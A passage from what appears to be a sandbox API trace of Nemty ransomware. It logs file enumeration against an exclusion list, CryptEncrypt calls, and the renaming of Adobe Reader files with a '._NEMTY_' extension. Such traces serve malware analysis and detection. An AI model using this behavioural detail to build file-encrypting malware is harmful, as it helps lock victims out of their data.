dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.262] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.321] CloseHandle (hObject=0xffffffff) returned 0 [0197.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0197.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0197.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0197.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0197.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.321] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4._nemty_kgobjgd_")) returned 0 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0197.322] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="AD351C~1")) returned 1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2=".") returned 1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="..") returned 1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="...") returned 1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="windows") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="$RECYCLE.BIN") returned 1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="rsa") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="NTDETECT.COM") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="ntldr") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="MSDOS.SYS") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="IO.SYS") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="boot.ini") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="boot.ini") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="AUTOEXEC.BAT") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="ntuser.dat") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="desktop.ini") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="CONFIG.SYS") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="RECYCLER") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="BOOTSECT.BAK") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="bootmgr") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="programdata") returned -1 [0197.322] lstrcmpiW (lpString1="Adobe-CNS1-5", lpString2="appdata") returned -1 [0197.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-5", lpUsedDefaultChar=0x0) returned 12 [0197.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-5", lpUsedDefaultChar=0x0) returned 12 [0197.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-5", lpUsedDefaultChar=0x0) returned 12 [0197.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-5", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-5", lpUsedDefaultChar=0x0) returned 12 [0197.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0197.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0197.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0197.323] Sleep (dwMilliseconds=0x5) [0197.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2944f670, dwHighDateTime=0x1d561e8)) [0197.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2944f670, dwHighDateTime=0x1d561e8)) [0197.338] GetLastError () returned 0x5 [0197.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.338] GetLastError () returned 0x5 [0197.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.338] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.338] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.338] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0197.338] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="axNGPo64/dxi4YlDZpMyUXAaAhgb2x9gpSvKifc78vPLAdpcwZHBpEm4pKAt5DcD\r\naJzpMyTEF/I1naZpSjGh0o49Epm89mtXGJ4nQsvY9T/HUkoqgeRy8lyi1vPZZfyW\r\nuqqMCwulIU+EEFlT9tezk75XmgKRnvEubiH05EHpNMju1iSEwu9rKJjlpm6Wektg\r\nLhmQ9X4DNleVmJYQoZ3uqtTf2mvncIwrLDXq7+xsOiFY2raVHBMmcOheFZ64kPiP\r\nZwAQNCLshkTqaAhMVGm1pEiYzftd+V55/K4zTBil4+0hXI3HaH35tAZbW58lTgVQ\r\nUlJ+e3ef5fqjBXFtovm8vA==\r\n", pcchString=0x653e91c) returned 1 [0197.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0197.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0197.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0197.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.339] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.386] 